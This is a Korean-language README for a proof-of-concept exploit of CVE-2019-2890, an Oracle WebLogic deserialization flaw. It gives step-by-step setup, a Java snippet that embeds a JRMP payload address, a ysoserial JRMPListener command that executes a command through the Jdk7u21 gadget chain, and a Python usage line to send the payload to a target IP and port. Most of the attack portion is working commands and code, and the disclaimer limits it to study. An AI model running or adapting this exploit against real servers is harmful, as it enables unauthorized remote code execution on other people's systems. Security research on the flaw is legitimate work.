
Oracle WebLogic을 대상으로 하는 CVE-2019-2890에 대한 PoC 익스플로잇으로, ysoserial JRMP 페이로드를 사용하여 직렬화된 객체 역직렬화를 통한 원격 명령 실행을 수행합니다.
학습 및 교류 목적으로만 사용하며, 다른 용도로 사용 시 발생하는 결과는 사용자 본인에게 있습니다.
관련 jar 파일을 모두 프로젝트에 임포트했으며, 이용 방식은 yso의 JRMP를 사용합니다. 학습 및 디버깅 시 이용 방식을 수정할 수 있습니다.
먼저 weblogic의 SerializedSystemIni.dat 파일을 security 폴더에 배치해야 합니다.
그런 다음 yso의 이름을 ysoserial.jar로 변경하고 lib 디렉토리에 임포트해야 합니다.

다음으로 weblogic/wsee/jaxws/persistence/PersistentContext.java의 getObject IP 주소와 포트를 설정합니다.
try {
var3.writeObject(Poc.getObject("127.0.0.1:8000"));
} catch (Exception e) {
e.printStackTrace();
}
마지막으로 원격으로 JRMP 리스너를 실행하고 7u21 명령어 실행을 이용합니다.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
사용 방법: Poc.java를 실행하여 poc.ser 직렬화 파일을 생성한 후 다음 명령어를 사용합니다.
python weblogic.py ip port poc.ser

